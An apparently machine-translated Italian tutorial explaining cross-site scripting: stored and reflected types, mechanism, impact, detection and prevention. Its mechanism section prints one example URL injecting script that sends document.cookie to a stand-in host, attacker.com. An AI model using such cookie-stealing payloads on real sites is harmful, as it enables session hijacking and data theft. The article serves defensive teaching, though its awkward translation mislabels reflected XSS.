Introduzione allo scripting tra siti

  • Con il numero crescente di applicazioni Web su Internet, la sicurezza Web è diventata una preoccupazione importante. L'hacking e il furto dei dati privati ​​degli utenti è ormai comune e li minaccia di utilizzare qualsiasi applicazione. Cross Site Scripting è uno degli attacchi popolari alla sicurezza web degli utenti. Scopriamo insieme cos'è lo scripting cross-site.
  • Cross Site Scripting definito come XSS, è una vulnerabilità della sicurezza del computer in cui l'utente malintenzionato mira ad aggiungere del codice dannoso sotto forma di script in un sito Web / pagina Web di fiducia. È un attacco di iniezione di codice lato client e lo script dannoso viene eseguito sul browser Web dell'utente quando accede a quel sito Web / pagina Web. Indirettamente, questo sito Web diventa un mezzo per inviare il codice dannoso all'utente. Iniettando script gli aggressori aggirano il DOM (Document Object Model) delle restrizioni di sicurezza e ottengono l'accesso al contenuto sensibile della pagina dell'utente, ai cookie di sessione, alla cronologia di navigazione della maggior parte dei dati privati ​​gestiti dal browser.
  • I siti Web che contengono forum, bacheche di messaggi, pagine Web che consentono commenti e quelli che utilizzano input utente non identificati e output così generato sono i più vulnerabili agli attacchi XSS. Sebbene gli attacchi XSS siano possibili in VBScript, ActiveX e CSS, sono più comuni in Javascript poiché è fondamentale per la maggior parte delle esperienze di navigazione.

Diversi tipi di Cross Site Scripting (XSS)

Sebbene non vi sia una particolare classificazione dello scripting cross site, alcuni esperti l'hanno classificata in due tipi che sono discussi di seguito in dettaglio:

Attacchi XSS memorizzati :

  • Gli XSS memorizzati sono quelli in cui lo script dannoso iniettato dall'attaccante viene archiviato nel database e viene eseguito sul browser dell'utente quando tenta di accedere al database in una forma. Questi sono anche noti come XSS persistenti o memorizzati. Questo è uno degli attacchi più devastanti e si verifica soprattutto quando il sito Web / la pagina Web consente di commentare o consente l'incorporamento di contenuti HTML.
  • L'aggressore aggiunge il javascript nel commento che viene memorizzato nel database e quando l'utente accede alla pagina interessata recuperando i dati dal database che lo script dannoso viene eseguito nel suo browser e che l'attaccante ottiene l'accesso non autorizzato ai dati privati ​​dell'utente.
  • Ad esempio, in un sito Web di e-commerce come Olx che ha una finestra di messaggio non autenticata per la descrizione del prodotto, un utente malintenzionato che è il venditore del prodotto aggiunge il javascript dannoso in esso e verrà archiviato nel database del sito Web.
  • Quando l'acquirente aprirà la descrizione del prodotto per visualizzare i dettagli del prodotto diventerà la vittima mentre lo script viene eseguito nel suo browser Web e tutti i dettagli dell'utente che il browser consente verranno dirottati.

Procedura attacchi XSS:

  • Questo è uno dei modi più comuni con cui un utente malintenzionato può causare un attacco XSS all'utente. Fondamentalmente, negli attacchi Procedure XSS, l'attaccante prende di mira la vittima inviando un'e-mail, un collegamento dannoso o allegando una stringa nel risultato della ricerca che punta a un sito Web attendibile ma contiene il codice javascript dannoso.
  • Se una vittima fa clic su tale URL, avvia la richiesta HTTP e invia una richiesta all'applicazione Web vulnerabile. La richiesta ritorna quindi alla vittima con una risposta del codice javascript incorporato che il browser Web esegue considerando che proviene da un sito Web attendibile e provoca il dirottamento dei dati riservati del suo browser.
  • Ad esempio, in un sito Web di e-commerce, è presente una casella di ricerca in cui un utente può cercare gli articoli e la stringa scritta nella casella di ricerca è visibile nell'URL del sito Web quando la richiesta di ricerca viene inviata al server.
  • L'attaccante crea un collegamento in cui lo script dannoso viene concatenato nell'URL e lo invia alla vittima via e-mail. Quando la vittima apre quel collegamento, la richiesta viene inviata al sito Web dannoso dell'attaccante e tutti i dati del browser della vittima vengono dirottati e inviati al sistema dell'attaccante.

Come funziona Cross Site Scripting (XSS)?

  • Nella vulnerabilità di Cross Site Scripting (XSS), il motivo principale dell'attaccante è rubare i dati dell'utente eseguendo lo script dannoso nel suo browser che viene iniettato nel contenuto del sito Web che l'utente sta utilizzando in diversi modi.
  • Ad esempio, quando un utente cerca del testo in un sito Web, la richiesta viene inviata al server nel modulo:

https://www.abcwebsite.com/search?q=text1

Nel risultato della ricerca, il sito Web restituisce il risultato insieme a ciò che l'utente ha cercato come:

Hai cercato: text1

Se la funzionalità di ricerca è vulnerabile a XSS, l'attaccante può aggiungere lo script dannoso nell'URL:

https://www.abcwebsite.com/search= document location = https: //attacker.com/log.php? c = '+ encodeURIComponent (document.cookie)
  • Quando la vittima fa clic su questo collegamento, reindirizza al sito Web dannoso, ad esempio https://attacker.com e tutti i dati del browser vengono inviati direttamente al computer dell'attaccante con conseguente attacco di un utente che ruba tutti i token / cookie di sessione.
  • In questo modo, un utente malintenzionato inietta il suo script dannoso nell'URL, Attacker può anche memorizzare tale script nel server che rientra in Stored XSS.

Impatto delle vulnerabilità di scripting tra siti:

L'impatto degli script tra siti varia molto. Dopo aver sfruttato la vulnerabilità XSS, un utente malintenzionato acquisisce il pieno controllo del browser della vittima e può eseguire diverse azioni che variano da quelle di piccole dimensioni come la visualizzazione della cronologia del browser a quelle disastrose come l'inserimento di worm nel computer.

Alcune delle azioni che l'attaccante può eseguire sfruttando la vulnerabilità XSS sono le seguenti: -

  1. Perdite di informazioni sensibili come nome utente e password.
  2. Inserimento di worm sul computer.
  3. Reindirizzare l'utente su un sito Web pericoloso e forzare l'esecuzione di alcune azioni
  4. Accedi alla cronologia di navigazione della vittima.
  5. Installazione del programma cavallo di Troia.
  6. Forzare l'utente a eseguire e modificare i valori nell'applicazione ottenendo l'accesso

Individuazione delle vulnerabilità di scripting tra siti:

  • Le vulnerabilità XSS si verificano per due motivi o l'input dell'utente non è stato convalidato prima di inviarlo al server o l'output ricevuto al browser non è codificato in HTML. Tenendo presente l'impatto disastroso della vulnerabilità XSS e proteggendo la privacy degli utenti, è molto importante scoprire se l'applicazione Web è vulnerabile o meno a XSS.
  • Sebbene XSS sia difficile da identificare e rimuovere, il modo migliore per verificare è eseguire la revisione della sicurezza del codice e verificare tutti i punti in cui l'input dalla richiesta HTTP può farsi strada come Output in un'applicazione. L'uso degli strumenti automatici di scansione delle vulnerabilità che includono il modulo scanner XSS specializzato per scansionare l'intera applicazione Web può anche aiutare a scansionare e trovare le vulnerabilità in un'applicazione.

Come prevenire XSS?

  • XSS è una vulnerabilità legata all'iniezione di codice, quindi è molto importante codificare i dati inviati al server e i dati che provengono dal server al browser di un utente.
  • La convalida dei dati è anche molto importante in modo che il browser interpreti il ​​codice senza comandi dannosi. Sono stati introdotti diversi metodi di prevenzione mantenendo la convalida e la codifica dei dati come priorità per un sito Web vulnerabile a XSS.

Alcuni punti devono essere focalizzati per prevenire XSS: -

  1. Il supporto per la traccia HTTP su tutti i server Web deve essere disattivato poiché l'aggressore può rubare i cookie e i dati del browser privato attraverso una chiamata di traccia HTTP dal server anche se document.cookie è disabilitato nel browser della vittima.
  2. Gli sviluppatori dovrebbero disinfettare l'input e non dovrebbero mai generare i dati ricevuti direttamente dall'utente senza convalidarlo.
  3. I collegamenti dovrebbero in genere essere vietati se non iniziano con i protocolli autorizzati come HTTP: //, https: // impedendo così l'uso di schemi URI come javascript: //

Conclusione:

Gli attacchi XSS sono pericolosi e possono danneggiare la privacy dell'utente e rubare i dati a meno che l'utente normale non navighi attentamente sull'applicazione. Pertanto, gli sviluppatori durante lo sviluppo dell'applicazione devono seguire le rigide regole di sicurezza, in particolare per i dati e il server, in modo che l'applicazione sia meno vulnerabile a XSS e che più utenti possano fare affidamento su di essa.

Articoli consigliati

Questa è stata una guida a Che cos'è Cross Site Scripting ?. Qui discutiamo i diversi tipi di cross site, funzionamento, impatto e prevenzione rispettivamente di XSS. Puoi anche consultare i nostri altri articoli suggeriti per saperne di più -

  1. Come funziona JavaScript
  2. Che cos'è un attacco di phishing?
  3. Che cos'è un attacco informatico?
  4. Memorizzazione nella cache HTTP
  5. Come funzionano i cookie in JavaScript con esempio?

Categoria: